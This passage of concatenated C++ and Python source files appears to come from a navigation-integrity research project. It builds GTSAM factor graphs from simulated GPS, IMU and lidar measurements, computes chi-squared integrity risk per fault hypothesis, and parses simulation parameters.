Point3 prior_orientation_noise=
generate_random_point(noise_generator,
params.noise_dist["prior_orientation"]);
prior_orientation_msmt.RzRyRx(prior_orientation_noise);
Point3 prior_position_noise=
generate_random_point(noise_generator,
params.noise_dist["prior_position"]);
prior_position_msmt= prior_position_msmt + prior_position_noise;
}
Pose3 prior_pose_msmt= Pose3(prior_orientation_msmt,
prior_position_msmt);
// add prior pose factor
PriorFactor<Pose3> pose_prior(X(0),
prior_pose_msmt,
params.prior_pose_cov);
new_graph.add(pose_prior);
initial_estimate.insert(X(0), prior_pose_msmt);
new_timestamps[X(0)]= counters.current_time;
// new way of keeping track
vector<int> rows= returnIncrVector(0,6);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["prior_pose"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 6;
// keep track of the factor types inserted
counters.add_factor("prior_pose");
// add velocity prior to graph and init values
Vector prior_vel_msmt(3); // needs to be a dynamically allocated vector (I don't know why)
prior_vel_msmt= scenario.velocity_n(0);
if (params.is_noisy["prior"]){
Point3 prior_vel_noise= generate_random_point(noise_generator,
params.noise_dist["prior_vel"]);
prior_vel_msmt= prior_vel_msmt + prior_vel_noise;
}
PriorFactor<Vector> vel_prior_factor(V(0),
prior_vel_msmt,
params.prior_vel_cov);
new_graph.add(vel_prior_factor);
initial_estimate.insert(V(0), prior_vel_msmt);
new_timestamps[V(0)]= counters.current_time;
// new way of keeping track
rows= returnIncrVector(counters.num_A_rows, 3);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["prior_vel"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 3;
// keep track of the factor types inserted
counters.add_factor("prior_vel");
// Add bias priors to graph and init values
imuBias::ConstantBias prior_bias_msmt= imuBias::ConstantBias();
if (params.is_noisy["prior"]){
Point3 prior_bias_acc_noise=
generate_random_point(noise_generator,
params.noise_dist["prior_bias_acc"]);
Point3 prior_bias_gyro_noise=
generate_random_point(noise_generator,
params.noise_dist["prior_bias_gyro"]);
imuBias::ConstantBias prior_bias_noise=
imuBias::ConstantBias(prior_bias_acc_noise.vector(),
prior_bias_gyro_noise.vector() );
prior_bias_msmt= prior_bias_msmt + prior_bias_noise;
}
PriorFactor<imuBias::ConstantBias>
prior_bias_factor(B(0),
prior_bias_msmt,
params.prior_bias_cov);
new_graph.add(prior_bias_factor);
initial_estimate.insert(B(0), prior_bias_msmt);
new_timestamps[B(0)]= counters.current_time;
// new way of keeping track
rows= returnIncrVector(counters.num_A_rows, 6);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["prior_bias"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 6;
// keep track of the factor types inserted
counters.add_factor("prior_bias");
LOG(TRACE)<< "Exit add_prior_factor";
return;
}
// -------------------------------------------------------
// -------------------------------------------------------
void add_lidar_factor(NonlinearFactorGraph &newgraph,
RangeBearingFactorMap &range_bearing_factor,
Counters &counters){
LOG(TRACE)<< "Enter add_lidar_factor";
newgraph.add(range_bearing_factor);
// new way of keeping track
vector<int> rows= returnIncrVector(counters.num_A_rows, 3);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["lidar"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 3;
// keep track of the factor types inserted
counters.add_factor("lidar");
LOG(TRACE)<< "Exit add_lidar_factor";
}
// -------------------------------------------------------
// -------------------------------------------------------
void add_gps_factor(NonlinearFactorGraph &newgraph,
GPSFactor &gps_factor,
Counters &counters) {
LOG(TRACE)<< "Enter add_gps_factor";
newgraph.add(gps_factor);
// new way of keeping track
vector<int> rows= returnIncrVector(counters.num_A_rows, 3);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["gps"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 3;
// keep track of the factor types inserted
counters.add_factor("gps");
LOG(TRACE)<< "Exit add_gps_factor";
}
// -------------------------------------------------------
// -------------------------------------------------------
void add_imu_factor(NonlinearFactorGraph &newgraph,
CombinedImuFactor &imufac,
Counters &counters) {
LOG(TRACE)<< "Enter add_imu_factor";
newgraph.add(imufac);
// new way of keeping track
vector<int> rows= returnIncrVector(counters.num_A_rows, 15);
for (int i = 0; i < rows.size(); ++i){
counters.A_rows["odom"].push_back(
make_pair(rows[i], counters.current_time));
}
counters.num_A_rows += 15;
// keep track of the factor types inserted
counters.add_factor("odom");
LOG(TRACE)<< "Exit add_imu_factor";
}
<file_sep>/python/Data.py
class Data(object):
'''
Data class to store the data saved in the files
Usually the dictionary contains two keys:
- values
- names
'''
def __init__(self):
self.residuals= {}
self.errors= {}
self.var= {}
self.lir= {}
self.estimated_states= {}
self.true_states= {}
<file_sep>/post_process.cpp
#include "post_process.h"
#include <boost/math/distributions/chi_squared.hpp>
#include <boost/math/distributions/non_central_chi_squared.hpp>
#include <vector>
#include <algorithm>
#include <typeinfo>
using namespace std;
using namespace gtsam;
typedef std::vector< std::pair<int, double> > pair_vector;
void post_process(
const Values result,
const IncrementalFixedLagSmoother &fixed_lag_smoother,
Counters &counters,
const Params ¶ms){
// get the factor graph & Jacobian from isam
NonlinearFactorGraph
factor_graph= fixed_lag_smoother.getFactors();
// get the linear graph
boost::shared_ptr<GaussianFactorGraph>
lin_graph= factor_graph.linearize(fixed_lag_smoother.getLinearizationPoint());
// get matrices
Matrix hessian= (lin_graph->hessian()).first;
Matrix A= (lin_graph->jacobian()).first;
Matrix P= hessian.inverse();
Matrix S = P * A.transpose();
Matrix S_transpose= S.transpose();
// rank of Jacobian A
Eigen::FullPivLU<Matrix> A_lu(A);
A_lu.setThreshold(1e-7);
double A_rank= A_lu.rank();
// number of measurements and states
cout<< "Jacobian matrix, A size = "<< A.rows()<< " x "<< A.cols()<< endl;
cout<< "rank(A): "<< A_rank<< endl;
cout<< "Hessian (Lambda) matrix size = "<< hessian.rows()<< " x "<< hessian.cols()<< endl;
// get variances for the last state
map<string,double> var= get_variances_for_last_pose(fixed_lag_smoother, counters);
cout<< "std dev. (roll, pitch, yaw, x, y, z): \n"<< "("<<
sqrt(var["roll"])<< ", "<<
sqrt(var["pitch"])<< ", "<<
sqrt(var["yaw"])<< ", "<<
sqrt(var["x"])<< ", "<<
sqrt(var["y"])<< ", "<<
sqrt(var["z"])<< ")"<< endl;
// builds a map for vector t for each coordinate
// TODO: change to lat, long, vert (needs rotations)
map<string, Vector> t_vector= buildt_vector(A.cols());
// upper bound lambda
double effective_n= get_dof_from_graph(factor_graph, counters);
double chi_squared_dof= effective_n - A.cols();
double r= 2 * factor_graph.error(result);
boost::math::chi_squared_distribution<> chi2_dist_lambda(chi_squared_dof);
double lambda= pow( sqrt(r) + sqrt(boost::math::quantile(chi2_dist_lambda, 1-1e-5)), 2 );
cout<< "effective number of measurements: "<< effective_n<< endl;
cout<< "DOF of the chi-squared: "<< chi_squared_dof<< endl;
cout<< "r: "<< r<< endl;
cout<< "Non-centrality parameter upper bound, lambda: "<< lambda<< endl;
cout<< "----------- Hypothesis 0 ----------"<< "\n\n";
// check matrix M before elimination
Matrix M= (Eigen::MatrixXd::Identity(A.rows(), A.rows()) - A*S);
Eigen::FullPivLU<Matrix> M_lu(M);
M_lu.setThreshold(1e-7);
cout<< "size of M = "<< M.rows() << " x "<< M.cols()<< endl;
cout<< "rank of M is " << M_lu.rank()<< endl;
// compute integrity
boost::math::chi_squared_distribution<> chi2_dist_raim(1);
map<string, double> h_LIR;
h_LIR["x"]= 1 - boost::math::cdf(chi2_dist_raim,
pow(params.AL_x / sqrt(var["x"]), 2) );
h_LIR["y"]= 1 - boost::math::cdf(chi2_dist_raim,
pow(params.AL_y / sqrt(var["y"]), 2) );
h_LIR["z"]= 1 - boost::math::cdf(chi2_dist_raim,
pow(params.AL_z / sqrt(var["z"]), 2) );
cout<< "LIR for h_0 in x: "<< h_LIR["x"]<< endl;
cout<< "LIR for h_0 in y: "<< h_LIR["y"]<< endl;
cout<< "LIR for h_0 in z: "<< h_LIR["z"]<< endl;
// ----------- loop over hypotheses --------------
vector<string> factor_types= return_unique_vector(counters.types);
for (vector<string>::iterator
it_type= factor_types.begin();
it_type != factor_types.end();
++it_type) {
string h_type= *it_type;
cout<< "----------- Hypothesis "<< h_type <<" ----------"<< "\n\n";
// DEBUG
// for (int i= 0; i < counters.A_rows[h_type].size(); ++i) {
// cout<< "row: "<< counters.A_rows[h_type][i].first
// << "\ttime: "<< counters.A_rows[h_type][i].second<< endl;
// }
// extract the row indexes
vector<int> row_inds;
transform(counters.A_rows[h_type].begin(),
counters.A_rows[h_type].end(),
back_inserter( row_inds ),
return_first_element );
// number of msmts for hypothesis
int h_n= row_inds.size();
if (h_n == 0) {
cout<< "empty hypothesis"<< endl;
continue;
}
// extract rows & cols from M
Matrix h_M = extract_matrix_rows_and_columns(M, row_inds, row_inds);
Eigen::FullPivLU<Matrix> h_M_lu(h_M);
h_M_lu.setThreshold(1e-5);
double h_M_rank= h_M_lu.rank();
cout<< "size of M = "<< h_M.rows() << " x "<< h_M.cols()<< endl;
cout<< "rank(M) = " << h_M_rank << endl;
// compute LIR only if h_M is full rank
if (h_M_rank != h_M.rows()){
cout<< "M for hypothesis is rank deficient"<< endl;
continue;
}
// build vector D
Eigen::SelfAdjointEigenSolver<Matrix> adj(h_M);
Matrix h_M_inv_sqrt= adj.operatorInverseSqrt();
// vector D
map<string, Vector> D;
D["x"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["x"];
D["y"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["y"];
D["z"]= h_M_inv_sqrt * extract_matrix_rows(S_transpose, row_inds) * t_vector["z"];
// get kappa
map<string, double> k;
k["x"]= D["x"].squaredNorm() / var["x"];
k["y"]= D["y"].squaredNorm() / var["y"];
k["z"]= D["z"].squaredNorm() / var["z"];
// non-centrality parameter
map<string, double> mu;
mu["x"]= k["x"] * lambda;
mu["y"]= k["y"] * lambda;
mu["z"]= k["z"] * lambda;
// compute integrity
h_LIR["x"]= 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["x"]),
pow(params.AL_x / sqrt(var["x"]), 2) );
h_LIR["y"]= 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["y"]),
pow(params.AL_y / sqrt(var["y"]), 2) );
h_LIR["z"]= 1 - boost::math::cdf(
boost::math::non_central_chi_squared(1, mu["z"]),
pow(params.AL_z / sqrt(var["z"]), 2) );
cout<< "LIR for h in x: "<< h_LIR["x"]<< endl;
cout<< "LIR for h in y: "<< h_LIR["y"]<< endl;
cout<< "LIR for h in z: "<< h_LIR["z"]<< endl;
}
// save factor graph as graphviz dot file
// Use this to convert to png image
// dot -Tpng -Gdpi=1000 isam_example.dot -o isam_example.png
// ofstream os("isam_example.dot");
// factor_graph.saveGraph(os, result_fl);
// // print path with python
// string command = "python ../python_plot.py";
// system(command.c_str());
// GTSAM_PRINT(result);
}
<file_sep>/parser.cpp
#include "parser.h"
using namespace std;
using namespace gtsam;
// ----------------------------------------------------
Params load_params_from_file(){
Params params;
// std::ifstream is RAII, i.e. no need to call close
ifstream cFile ("../params.txt");
if (cFile.is_open()) {
string line;
while(getline(cFile, line)){
line.erase(remove_if(line.begin(), line.end(), ::isspace),
line.end());
if(line[0] == '#' || line.empty())
continue;
auto delimiterPos = line.find("=");
auto name = line.substr(0, delimiterPos);
auto value = line.substr(delimiterPos + 1);
// remove part of the name after the #
auto delimiter_comment= value.find("#");
value= value.substr(0, delimiter_comment);
if (!add_parameter(name, value, params)){
cout<< "Cannot add: "<< name << " " << value << '\n';
}
}
} else {
cerr << "Couldn't open config file for reading.\n";
}
return params;
}
// ----------------------------------------------------
bool add_parameter(string name, string value, Params ¶ms){
if (name == "is_verbose"){
params.is_verbose= atoi(value.c_str());
} else if (name == "accel_noise_sigma"){
params.accel_noise_sigma= atof(value.c_str());
} else if (name == "gyro_noise_sigma") {
params.gyro_noise_sigma= atof(value.c_str());
} else if (name == "accel_bias_rw_sigma") {
params.accel_bias_rw_sigma= atof(value.c_str());
} else if (name == "gyro_bias_rw_sigma") {
params.gyro_bias_rw_sigma= atof(value.c_str());
} else if (name == "gps_noise_sigma") {
params.gps_noise_sigma= atof(value.c_str());
} else if (name == "dt_imu") {
params.dt_imu= atof(value.c_str());
} else if (name == "dt_gps") {
params.dt_gps= atof(value.c_str());
} else if (name == "scenario_radius") {
params.scenario_radius= atof(value.c_str());
} else if (name == "scenario_linear_vel") {
params.scenario_linear_vel= atof(value.c_str());
} else if (name == "range_noise_sigma") {
params.range_noise_sigma= atof(value.c_str());
} else if (name == "bearing_noise_sigma") {
params.bearing_noise_sigma= atof(value.c_str());
} else if (name == "sim_time") {
params.sim_time= atof(value.c_str());
} else if (name == "evaluate_nonlinear_error") {
params.evaluate_nonlinear_error= atoi(value.c_str()); // TODO: check this
} else if (name == "P_lambda") {
params.P_lambda= atof(value.c_str());
} else if (name == "AL_x") {
params.AL_x= atof(value.c_str());
} else if (name == "AL_y") {
params.AL_y= atof(value.c_str());
} else if (name == "AL_z") {
params.AL_z= atof(value.c_str());
} else if (name == "is_noisy_gps") {
params.is_noisy_gps= atoi(value.c_str());
} else if (name == "is_noisy_lidar") {
params.is_noisy_lidar= atoi(value.c_str());
} else if (name == "is_noisy_imu") {
params.is_noisy_imu= atoi(value.c_str());
} else if (name == "is_noisy_prior") {
params.is_noisy_prior= atof(value.c_str());
} else if (name == "prior_position_noise_sigma") {
params.prior_position_noise_sigma= atof(value.c_str());
} else if (name == "prior_orientation_noise_sigma") {
params.prior_orientation_noise_sigma= atof(value.c_str());
} else if (name == "prior_vel_noise_sigma") {
params.prior_vel_noise_sigma= atof(value.c_str());
} else if (name == "prior_bias_acc_noise_sigma") {
params.prior_bias_acc_noise_sigma= atof(value.c_str());
} else if (name == "prior_bias_gyro_noise_sigma") {
params.prior_bias_gyro_noise_sigma= atof(value.c_str());
} else if (name == "seed") {
params.seed= atoi(value.c_str());
} else if (name == "lag") {
params.lag= atof(value.c_str());
} else if (name == "workspace") {
params.workspace= string(value.c_str());
} else if (name == "landmark") {
params.landmarks.push_back(read_landmark(value));
} else if (name == "logger_config_file") {
params.logger_config_file= string(value.c_str());
// name doesn't exist -> return false
} else {
cout<< "name "<< name<< " is not a member of params"<< endl;
return false;
}
return true;
}
// ----------------------------------------------------
Point3 read_landmark(string line){
auto delimiterPos = line.find(",");
float x = atof( line.substr(0, delimiterPos).c_str() );
line = line.substr(delimiterPos + 1);
float y = atof( line.substr(0, delimiterPos).c_str() );
line = line.substr(delimiterPos + 1);
float z = atof( line.substr(0, delimiterPos).c_str() );
return Point3(x,y,z);
}
// ----------------------------------------------------
void build_variables(Params ¶ms){
// create parameters
params.lidar_cov= noiseModel::Diagonal::Sigmas( (Vector(3)<<
params.bearing_noise_sigma,
params.bearing_noise_sigma,
params.range_noise_sigma).finished() );
params.gps_cov= noiseModel::Diagonal::Sigmas( (Vector(3)<<
params.gps_noise_sigma,
params.gps_noise_sigma,
params.gps_noise_sigma).finished() );
params.prior_pose_cov= noiseModel::Diagonal::Sigmas( (Vector(6) <<
Vector3::Constant(params.prior_orientation_noise_sigma),
Vector3::Constant(params.prior_position_noise_sigma) ).finished() );
params.prior_vel_cov= noiseModel::Diagonal::Sigmas( (Vector(3) <<
Vector3::Constant(params.prior_vel_noise_sigma) ).finished() );
params.prior_bias_cov= noiseModel::Diagonal::Sigmas( (Vector(6) <<
Vector3::Constant(params.prior_bias_acc_noise_sigma),
Vector3::Constant(params.prior_bias_gyro_noise_sigma) ).finished() );
params.measured_acc_cov = I_3x3 * pow(params.accel_noise_sigma,2);
params.measured_omega_cov = I_3x3 * pow(params.gyro_noise_sigma,2);
params.bias_acc_cov = I_3x3 * pow(params.accel_bias_rw_sigma,2);
params.bias_omega_cov = I_3x3 * pow(params.gyro_bias_rw_sigma,2);
params.integration_error_cov = I_3x3 * 1e-20; // error committed in integrating position from velocities, 8
params.bias_acc_omega_int = Matrix::Identity(6,6) * 1e-20; // error in the bias used for preintegration, 5
params.imu_params= PreintegratedCombinedMeasurements::Params::MakeSharedU(params.k_gravity);
params.imu_params->setAccelerometerCovariance(params.measured_acc_cov);
params.imu_params->setGyroscopeCovariance(params.measured_omega_cov);
params.imu_params->biasAccCovariance = params.bias_acc_cov; // acc bias in continuous
params.imu_params->biasOmegaCovariance = params.bias_omega_cov; // gyro bias in continuous
params.imu_params->biasAccOmegaInt = params.bias_acc_omega_int;
params.imu_params->setIntegrationCovariance(params.integration_error_cov);
params.imu_params->setUse2ndOrderCoriolis(false);
params.imu_params->setOmegaCoriolis(Vector3(0, 0, 0));
PreintegratedCombinedMeasurements accum_temp(params.imu_params); // TODO: clean this
params.accum= accum_temp;
params.noise_dist["acc"]= std::normal_distribution<double>(0, params.accel_noise_sigma);
params.noise_dist["gyro"]= std::normal_distribution<double>(0, params.gyro_noise_sigma);
params.noise_dist["range"]= std::normal_distribution<double>(0, params.range_noise_sigma);
params.noise_dist["bearing"]= std::normal_distribution<double>(0, params.bearing_noise_sigma);
params.noise_dist["gps"]= std::normal_distribution<double>(0, params.gps_noise_sigma);
params.noise_dist["prior_position"]= std::normal_distribution<double>(0, params.prior_position_noise_sigma);
params.noise_dist["prior_orientation"]= std::normal_distribution<double>(0, params.prior_orientation_noise_sigma);
params.noise_dist["prior_vel"]= std::normal_distribution<double>(0, params.prior_vel_noise_sigma);
params.noise_dist["prior_bias_acc"]= std::normal_distribution<double>(0, params.prior_bias_acc_noise_sigma);
params.noise_dist["prior_bias_gyro"]= std::normal_distribution<double>(0, params.prior_bias_gyro_noise_sigma);
params.is_noisy["gps"]= params.is_noisy_gps;
params.is_noisy["lidar"]= params.is_noisy_lidar;
params.is_noisy["imu"]= params.is_noisy_imu;
params.is_noisy["prior"]= params.is_noisy_prior;
// ISAM2 params
params.fl_isam_params.relinearizeThreshold = 0.0; // Set the relin threshold to zero such that the batch estimate is recovered
params.fl_isam_params.relinearizeSkip = 1; // Relinearize every time
// deprecated
params.isam_params.evaluateNonlinearError= params.evaluate_nonlinear_error; // for the residuals
}
// --------------- for DEBUG purposes ---------------
void print_params(const Params ¶ms){
cout<< "accel_noise_sigma: "<< params.accel_noise_sigma<< '\n';
cout<< "gyro_noise_sigma: "<< params.gyro_noise_sigma<< '\n';
cout<< "accel_bias_rw_sigma: "<< params.accel_bias_rw_sigma<< '\n';
cout<< "gyro_bias_rw_sigma: "<< params.gyro_bias_rw_sigma<< '\n';
cout<< "gps_noise_sigma: "<< params.gps_noise_sigma<< '\n';
cout<< "dt_imu: "<< params.dt_imu<< '\n';
cout<< "dt_gps: "<< params.dt_gps<< '\n';
cout<< "scenario_radius: "<< params.scenario_radius<< '\n';
cout<< "scenario_linear_vel: "<< params.scenario_linear_vel<< '\n';
cout<< "range_noise_sigma: "<< params.range_noise_sigma<< '\n';
cout<< "bearing_noise_sigma: "<< params.bearing_noise_sigma<< '\n';
cout<< "sim_time: "<< params.sim_time<< '\n';
cout<< "P_lambda: "<< params.P_lambda<< '\n';
cout<< "AL_x: "<< params.AL_x<< '\n';
cout<< "AL_y: "<< params.AL_y<< '\n';
cout<< "AL_z: "<< params.AL_z<< '\n';
cout<< "is_noisy_gps: "<< params.is_noisy_gps<< '\n';
cout<< "is_noisy_lidar: "<< params.is_noisy_lidar<< '\n';
cout<< "is_noisy_imu: "<< params.is_noisy_imu<< '\n';
cout<< "is_noisy_prior: "<< params.is_noisy_prior<< '\n';
cout<< "prior_position_noise_sigma: "<< params.prior_position_noise_sigma<< '\n';
cout<< "prior_orientation_noise_sigma: "<< params.prior_orientation_noise_sigma<< '\n';
cout<< "prior_vel_noise_sigma: "<< params.prior_vel_noise_sigma<< '\n';
cout<< "prior_bias_acc_noise_sigma: "<< params.prior_bias_acc_noise_sigma<< '\n';
cout<< "prior_bias_gyro_noise_sigma: "<< params.prior_bias_gyro_noise_sigma<< '\n';
cout<< "seed: "<< params.seed<< '\n';
cout<< "lag: "<< params.lag<< '\n';
cout<< "evaluate_nonlinear_error: "<< params.evaluate_nonlinear_error<< '\n';
}
// ----------------------------------------------------
struct option long_opt[] =
{
{"accel_noise_sigma", required_argument, NULL, 'a'},
{"gyro_noise_sigma", required_argument, NULL, 'b'},
{"accel_bias_rw_sigma", required_argument, NULL, 'c'},
{"gyro_bias_rw_sigma", required_argument, NULL, 'd'},
{"gps_noise_sigma", required_argument, NULL, 'e'},
{"dt_imu", required_argument, NULL, 'f'},
{"dt_gps", required_argument, NULL, 'g'},
{"scenario_radius", required_argument, NULL, 'h'},
{"scenario_linear_vel", required_argument, NULL, 'i'},
{"range_noise_sigma", required_argument, NULL, 'j'},
{"bearing_noise_sigma", required_argument, NULL, 'k'},
{"sim_time", required_argument, NULL, 'l'},
{"evaluateNonlinearError", required_argument, NULL, 'm'},
{"P_lambda", required_argument, NULL, 'n'},
{"AL_x", required_argument, NULL, 'o'},
{"AL_y", required_argument, NULL, 'p'},
{"AL_z", required_argument, NULL, 'q'},
{"is_noisy_gps", required_argument, NULL, 'r'},
{"is_noisy_lidar", required_argument, NULL, 's'},
{"is_noisy_imu", required_argument, NULL, 't'},
{"prior_position_noise_sigma", required_argument, NULL, 'u'},
{"prior_orientation_noise_sigma", required_argument, NULL, 'v'},
{"is_noisy_prior", required_argument, NULL, 'w'},
{"seed", required_argument, NULL, 'x'},
{"lag", required_argument, NULL, 'y'},
{"is_verbose", required_argument, NULL, 'z'},
{NULL, 0, NULL, 0 }
};
// ----------------------------------------------------
int params_parser (int argc, char **argv, Params ¶ms){
int opt;
const char* short_opt = "a:b:c:d:e:f:g:h:i:j:k:";
while((opt = getopt_long(argc, argv, short_opt, long_opt, NULL)) != -1)
{
switch(opt)
{
case -1: /* no more arguments */
case 0: /* long options toggles */
break;
case 'a':
printf("you entered \"%s\" for the variable 'accel_noise_sigma'\n", optarg);
params.accel_noise_sigma= atof(optarg);
break;
case 'b':
printf("you entered \"%s\" for the variable 'gyro_noise_sigma'\n", optarg);
params.gyro_noise_sigma= atof(optarg);
break;
case 'c':
printf("you entered \"%s\" for the variable 'accel_bias_rw_sigma'\n", optarg);
params.accel_bias_rw_sigma= atof(optarg);
break;
case 'd':
printf("you entered \"%s\" for the variable 'gyro_bias_rw_sigma'\n", optarg);
params.gyro_bias_rw_sigma= atof(optarg);
break;
case 'e':
printf("you entered \"%s\" for the variable 'gps_noise_sigma'\n", optarg);
params.gps_noise_sigma= atof(optarg);
break;
case 'f':
printf("you entered \"%s\" for the variable 'dt_imu'\n", optarg);
params.dt_imu= atof(optarg);
break;
case 'g':
printf("you entered \"%s\" for the variable 'dt_gps'\n", optarg);
params.dt_gps= atof(optarg);
break;
case 'h':
printf("you entered \"%s\" for the variable 'scenario_radius'\n", optarg);
params.scenario_radius= atof(optarg);
break;
case 'i':
printf("you entered \"%s\" for the variable 'scenario_linear_vel'\n", optarg);
params.scenario_linear_vel= atof(optarg);
break;
case 'j':
printf("you entered \"%s\" for the variable 'range_noise_sigma'\n", optarg);
params.range_noise_sigma= atof(optarg);
break;
case 'k':
printf("you entered \"%s\" for the variable 'bearing_noise_sigma'\n", optarg);
params.bearing_noise_sigma= atof(optarg);
break;
case 'l':
printf("you entered \"%s\" for the variable 'sim_time'\n", optarg);
params.sim_time= atof(optarg);
break;
case 'm':
printf("you entered \"%s\" for the variable 'evaluateNonlinearError'\n", optarg);
params.evaluate_nonlinear_error= optarg;
break;
case 'n':
printf("you entered \"%s\" for the variable 'P_lambda'\n", optarg);
params.P_lambda= atof(optarg);
break;
case 'o':
printf("you entered \"%s\" for the variable 'AL_x'\n", optarg);
params.AL_x= atof(optarg);
break;
case 'p':
printf("you entered \"%s\" for the variable 'AL_y'\n", optarg);
params.AL_y= atof(optarg);
break;
case 'q':
printf("you entered \"%s\" for the variable 'AL_z'\n", optarg);
params.AL_z= atof(optarg);
break;
case 'r':
printf("you entered \"%s\" for the variable 'is_noisy_gps'\n", optarg);
if ( strcmp(optarg, "false") == 0 ){
params.is_noisy_gps= false;
}
break;
case 's':
printf("you entered \"%s\" for the variable 'is_noisy_lidar'\n", optarg);
params.is_noisy_lidar= atof(optarg);
break;
case 't':
printf("you entered \"%s\" for the variable 'is_noisy_imu'\n", optarg);
params.is_noisy_imu= atof(optarg);
break;
case 'u':
printf("you entered \"%s\" for the variable 'prior_position_noise_sigma'\n", optarg);
params.prior_position_noise_sigma= atof(optarg);
break;
case 'v':
printf("you entered \"%s\" for the variable 'prior_orientation_noise_sigma'\n", optarg);
params.prior_orientation_noise_sigma= atof(optarg);
break;
case 'w':
printf("you entered \"%s\" for the variable 'is_noisy_prior'\n", optarg);
if ( strcmp(optarg, "false") == 0 ){
params.is_noisy_prior= false;
}
break;
case 'x':
printf("you entered \"%s\" for the variable 'seed'\n", optarg);
params.seed= atoi(optarg);
break;
case 'y':
printf("you entered \"%s\" for the variable 'lag'\n", optarg);
params.lag= atof(optarg);
break;
case 'z':
printf("you entered \"%s\" for the variable 'is_verbose'\n", optarg);
params.is_verbose= atof(optarg);
break;
// default error
default:
fprintf(stderr, "%s: invalid option -- %c\n", argv[0], opt);
return (-2);
};
};
return (0);
}
<file_sep>/CMakeLists.txt
# This file shows how to build and link a user project against GTSAM using CMake
###################################################################################
# To create your own project, replace "example" with the actual name of your project
cmake_minimum_required(VERSION 3.0)
project(gtsam_sim CXX C)
find_package(GTSAMCMakeTools)
include(GtsamBuildTypes) # Load build type flags and default to Debug mode
# Find GTSAM, either from a local build, or from a Debian/Ubuntu package.
find_package(GTSAM REQUIRED)
list(APPEND CMAKE_CXX_FLAGS "-std=c++11 -stdlib=libc++")
add_executable(main
scenario_isam.cpp
helpers.cpp
RangeBearingFactorMap.cpp
parser.cpp
Counters.cpp
add_factors.cpp
Solution.cpp
calculate_LIR.cpp
./third_party/easyloggingpp/src/easylogging++.cc
)
# By using CMake exported targets, a simple "link" dependency introduces the
# include directories (-I) flags, links against Boost, and add any other
# required build flags (e.g. C++11, etc.)
target_link_libraries(main PRIVATE gtsam gtsam_unstable)
add_executable(test
test.cpp
./third_party/easyloggingpp/src/easylogging++.cc
)
<file_sep>/RangeBearingFactorMap.h
#pragma once
#include <gtsam/geometry/SimpleCamera.h>
#include <gtsam/nonlinear/NonlinearFactor.h>
using namespace gtsam;
using namespace std;
/*
Factor for range-bearing measurements to a landmark
in the prior map.
It's different from the ones already implemented in
that there is no key for the landmarks here b/c they
are in the map and thus not estimated
*/
class RangeBearingFactorMap: public NoiseModelFactor1<Pose3> {
public:
double range_msmt;
Unit3 bearing_msmt;
Point3 landmark_;
public:
// The constructor requires the variable key, the (X, Y) measurement value, and the noise model
RangeBearingFactorMap(Key j,
double range,
Unit3 bearing,
Point3 landmark,
const SharedNoiseModel& noise_model):
range_msmt(range),
bearing_msmt(bearing),
landmark_(landmark),
NoiseModelFactor1<Pose3>(noise_model, j) {}
virtual ~RangeBearingFactorMap() {}
// Vector evaluateError(const Pose3& q, boost::optional<Matrix&> H = boost::none) const;
Vector evaluateError(const Pose3& q, boost::optional<Matrix&> H) const;
};<file_sep>/add_factors.h
#pragma once
#include <gtsam/navigation/Scenario.h>
#include <gtsam/geometry/SimpleCamera.h>
#include <gtsam_unstable/nonlinear/IncrementalFixedLagSmoother.h>
#include <gtsam/navigation/ImuBias.h>
#include <gtsam/inference/Symbol.h>
#include <gtsam/navigation/GPSFactor.h>
#include <vector>
#include <string>
#include "Counters.h"
#include "RangeBearingFactorMap.h"
#include "RangeBearingMeasurement.h"
#include "helpers.h"
// Shorthand for velocity and pose variables
using symbol_shorthand::X;
using symbol_shorthand::V;
using symbol_shorthand::B;
/*
Add a prior factors in:
- pose (X)
- velocity (V)
- IMU bias (B)
the priors are sampled from their corresponding
noise distributions is set in the parameters.
*/
void add_prior_factor(
gtsam::NonlinearFactorGraph &new_graph,
gtsam::FixedLagSmoother::KeyTimestampMap &new_timestamps,
gtsam::Values &initial_estimate,
const gtsam::Scenario &scenario,
std::default_random_engine &noise_generator,
Counters &counters,
Params ¶ms);
/*
Add lidar factor to factor graph.
*/
void add_lidar_factor(
gtsam::NonlinearFactorGraph &newgraph,
RangeBearingFactorMap &range_bearing_factor,
Counters &counters);
/*
Add GPS factor to factor graph.
*/
void add_gps_factor(
gtsam::NonlinearFactorGraph &newgraph,
GPSFactor &gps_factor,
Counters &counters);
/*
Add IMU factor to factor graph.
*/
void add_imu_factor(
gtsam::NonlinearFactorGraph &newgraph,
gtsam::CombinedImuFactor &imufac,
Counters &counters);
<file_sep>/Solution.h
#pragma once
#include <gtsam_unstable/nonlinear/IncrementalFixedLagSmoother.h>
#include <gtsam/inference/Symbol.h>
#include <gtsam/navigation/Scenario.h>
#include <fstream>
#include "Counters.h"
#include "LIR.h"
using namespace std;
using namespace gtsam;
using symbol_shorthand::X;
using symbol_shorthand::V;
using symbol_shorthand::B;
// -------------------------------------------------------
struct Error {
double value;
};
// -------------------------------------------------------
struct Residual {
double value= 0;
int num_factors= 0;
};
// -------------------------------------------------------
class Variance {
public:
Variance() {
this->value= -1;
}
Variance(double variance) {
this->value= variance;
};
double std() {
return std::sqrt(this->value);
}
double value= -1;
};
// -------------------------------------------------------
class StateErrors {
public:
StateErrors() {};
void set_errors(gtsam::Vector rpy_error,
gtsam::Vector translation_error,
gtsam::Vector velocity_error,
gtsam::Vector bias_error) {
this->roll.value= rpy_error[0];
this->pitch.value= rpy_error[1];
this->yaw.value= rpy_error[2];
this->x.value= translation_error[0];
this->y.value= translation_error[1];
this->z.value= translation_error[2];
this->v_x.value= velocity_error[0];
this->v_y.value= velocity_error[1];
this->v_z.value= velocity_error[2];
this->b_accel_x.value= bias_error[0];
this->b_accel_y.value= bias_error[1];
this->b_accel_z.value= bias_error[2];
